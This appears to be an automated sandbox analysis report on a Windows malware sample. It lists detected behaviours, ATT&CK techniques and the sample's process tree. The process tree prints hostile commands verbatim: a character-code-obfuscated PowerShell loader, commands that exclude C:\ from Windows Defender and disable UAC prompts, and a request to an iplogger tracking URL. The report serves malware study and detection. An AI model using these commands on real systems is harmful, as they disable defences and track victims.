Analysis
- max time kernel
149s - max time network
152s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
04/06/2026, 21:14
General
- Target cb0fbc3588dab06d99ad9c9af872613452ecbb6b7c71b00a6bca4bcc64bb8d00.exe
- Size 60KB
- Sample260604-z3kddsft9z
- SHA256 cb0fbc3588dab06d99ad9c9af872613452ecbb6b7c71b00a6bca4bcc64bb8d00
Malware Config
Signatures
- UAC bypass 3 TTPs 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Kills process with taskkill 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\cb0fbc3588dab06d99ad9c9af872613452ecbb6b7c71b00a6bca4bcc64bb8d00.exe"C:\Users\Admin\AppData\Local\Temp\cb0fbc3588dab06d99ad9c9af872613452ecbb6b7c71b00a6bca4bcc64bb8d00.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" @(113,127,122,40,57,63,64,54,57,59,56,54,60,62,54,57,57,59,55,123,54,114,120,111,132,113,109,128)|%{$pohTW=$pohTW+[chAr]($_-8)};.(gA`L ?E[?X])($pohTW)2⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im cmd.exe2⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell Add-MpPreference -ExclusionPath 'AZAZcAZAZ:AZAZ\AZ'.replace('AZ','');Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Force2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath 'AZAZcAZAZ:AZAZ\AZ'.replace('AZ','');Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Force3⤵
- UAC bypass
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr https://iplogger.co/1zWGL4.gif2⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
1Disable or Modify Tools
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_psf3wl3i.m4h.ps1
memory/360-27-0x000000006FEF0000-0x000000006FF3C000-memory.dmp
memory/360-41-0x0000000007770000-0x000000000778A000-memory.dmp
memory/360-44-0x00000000086F0000-0x0000000008C96000-memory.dmp
memory/360-43-0x00000000077A0000-0x00000000077C2000-memory.dmp
memory/360-42-0x00000000076C0000-0x00000000076C8000-memory.dmp
memory/360-40-0x0000000007680000-0x0000000007695000-memory.dmp
memory/360-39-0x0000000007670000-0x000000000767E000-memory.dmp
memory/360-38-0x0000000007640000-0x0000000007651000-memory.dmp
memory/360-37-0x00000000076D0000-0x0000000007766000-memory.dmp
memory/360-36-0x00000000074B0000-0x00000000074BA000-memory.dmp
memory/360-26-0x0000000007070000-0x00000000070A4000-memory.dmp
memory/360-34-0x00000000070D0000-0x00000000070EE000-memory.dmp
memory/360-35-0x0000000007190000-0x0000000007234000-memory.dmp
memory/1176-56-0x0000000006260000-0x00000000065B7000-memory.dmp
memory/1176-59-0x0000000008DD0000-0x0000000009576000-memory.dmp
memory/1176-58-0x0000000006CD0000-0x0000000006D1C000-memory.dmp
memory/1844-6-0x0000000005A80000-0x0000000005AA2000-memory.dmp
memory/1844-16-0x0000000006910000-0x000000000692E000-memory.dmp
memory/1844-15-0x0000000006440000-0x0000000006797000-memory.dmp
memory/1844-2-0x00000000055F0000-0x0000000005600000-memory.dmp
memory/1844-5-0x0000000005C30000-0x000000000625A000-memory.dmp
memory/1844-8-0x00000000063D0000-0x0000000006436000-memory.dmp
memory/1844-7-0x0000000006360000-0x00000000063C6000-memory.dmp
memory/1844-4-0x00000000055F0000-0x0000000005600000-memory.dmp
memory/1844-3-0x0000000005460000-0x0000000005496000-memory.dmp
memory/1844-17-0x0000000006960000-0x00000000069AC000-memory.dmp
memory/1844-18-0x0000000008080000-0x00000000086FA000-memory.dmp
memory/1844-19-0x0000000006E70000-0x0000000006E8A000-memory.dmp